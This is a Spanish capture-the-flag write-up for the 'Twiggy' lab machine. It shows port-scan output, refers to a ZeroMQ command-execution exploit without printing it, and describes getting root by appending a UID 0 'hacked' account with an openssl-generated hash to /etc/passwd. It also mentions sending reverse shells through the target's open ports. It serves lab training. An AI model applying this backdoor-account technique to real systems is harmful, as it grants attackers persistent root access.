M4nu
  • whoami
  • 🏆 Certificaciones
    • eJPTv2
    • eCPPTv3
    • KLCP
  • CWP
  • 🏗️Mis Proyectos
    • Apache Hunter
    • Águila
      • Águila-Https
        • Configuración Proxy Automático
        • Configuración Proxy Manual
      • Águila-Http
      • Águila-Infection
    • PingMapper
    • WizardScan
    • FakeHosts
    • EvasionIDS
    • nmap2ports
  • 📝 Write Ups
    • Hack The Box
      • Windows
        • Granny
        • Escape
        • Bastard
      • Linux
        • Keeper
        • BoardLight
        • Backdoor
      • Active Directory
        • Sauna
        • Monteverde
        • ServMon
    • Proving Grounds Practice
      • Linux
        • Twiggy
      • Windows
        • Algernon
        • Craft
  • 📚Apuntes
    • Nmap
      • Esencial ⭐
      • Reconocimiento de Hosts
      • Scripts
      • Evasión de Firewalls y IDS/IPS
      • IPv6
    • Best of Nuclei
      • Plantillas para Wordpress
    • Tor en línea de comandos
Con tecnología de GitBook
En esta página
  • Reconocimiento
  • Explotación
  • Manera Alternativa
  1. 📝 Write Ups
  2. Proving Grounds Practice
  3. Linux

Twiggy

Dificultad de la máquina: Easy

Reconocimiento

# rustscan -a 192.168.208.62 -- -sCV -n -Pn -oN nmap_tcp
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZz8rKSxgnT5mqHeBPqGlXFj2JJdq21roV/2M8/+0F5/5D1XsaXmbktDpKILFdBcYnLtPxWstxPq+FTbWAJad2uk3BPYWRxidK2dOozE5rKLCyxtkEqs/lO09pM6VKQUi83y5wMwI+9Akkir0AMruuFUSpeCIBt/L98g8OYxzyTsylQATnPxJrrQOWGUQYAvX6jIs25n6d3rmbXk/crg1ZfAVFEHEeR9Y6Bjc2o5YWjMp3XbOZyC4yYseoM6eH2yCSDwu1DzPYrU6cNMfxBf863w1uyhiFk3eIb5jud3kfoxIq6t5JU2DXNhEd4rdXuuinZUSxWiCpHLZ1FCi4tkX5
|   256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA1gj1q7mOswnou9RvKwuX8S7WFBhz2NlaSIpYPQmM0I/vqb4T459PgJcMaJOE+WmPiMnDSFsyV3C6YszM754Hc=
|   256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBzTSyInONbcDxdYULbDvI/HyrQm9m9M5b6Z825jnBEF
53/tcp   open  domain  syn-ack ttl 61 NLnet Labs NSD
80/tcp   open  http    syn-ack ttl 61 nginx 1.16.1
|_http-server-header: nginx/1.16.1
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-favicon: Unknown favicon MD5: 11FB4799192313DD5474A343D9CC0A17
|_http-title: Home | Mezzanine
4505/tcp open  zmtp    syn-ack ttl 61 ZeroMQ ZMTP 2.0
4506/tcp open  zmtp    syn-ack ttl 61 ZeroMQ ZMTP 2.0
8000/tcp open  http    syn-ack ttl 61 nginx 1.16.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (application/json).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.16.1

Explotación

Buscando por internet sobre ZeroMQ encuentro el siguiente exploit el cual tiene buena pinta

Como podemos ver en la siguiente imagen, podemos ejecutar comandos en la máquina víctima

Es hora de la reverse shell, pero al parecer no llega

Despues de probar muchos intentos me doy cuneta que no puedo, así que lo que vamos a hacer es modificar el /etc/passwd de la siguiente manera

# Ejecutamos el siguiente comando
openssl passwd ola
# Output:
$1$e0X6VNDV$6MN0Hii/3Ek1oH6RhiFHX1

Una vez con este output tenemos que copiar el /etc/passwd de la máquina o el nuestro y lo subimos a la máquina pero en este caso al poder coger el de la propia máquina utilizaremos esa

añadimos lo que hemos creado antes de la siguiente manera:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
mezz:x:997:995::/home/mezz:/bin/false
nginx:x:996:994:Nginx web server:/var/lib/nginx:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
hacked:$1$e0X6VNDV$6MN0Hii/3Ek1oH6RhiFHX1:0:0:root:/root:/bin/bash

una vez que tenemos el archivo con la ultima línea puesta, lo subiremos a la máquina:

Al haberle añadido en el /etc/passwd el root:/root:/bin/bash pues me conecto directamente como root.

Manera Alternativa

Cuando no te esta devolviendo la reverse shell pero si ejecutas comando lo cual puedes verificar con la prueba de la ping y el tcpdump abierto lo cual hicimos antes, otra manera que siempre hay que probar es mandar las reverse shell por los puertos que tienen abiertos la máquina víctima, en este caso el puerto 4505 esta abierto y además es donde se ejecuta la vulnerabilidad:

AnteriorLinuxSiguienteWindows

Última actualización hace 5 meses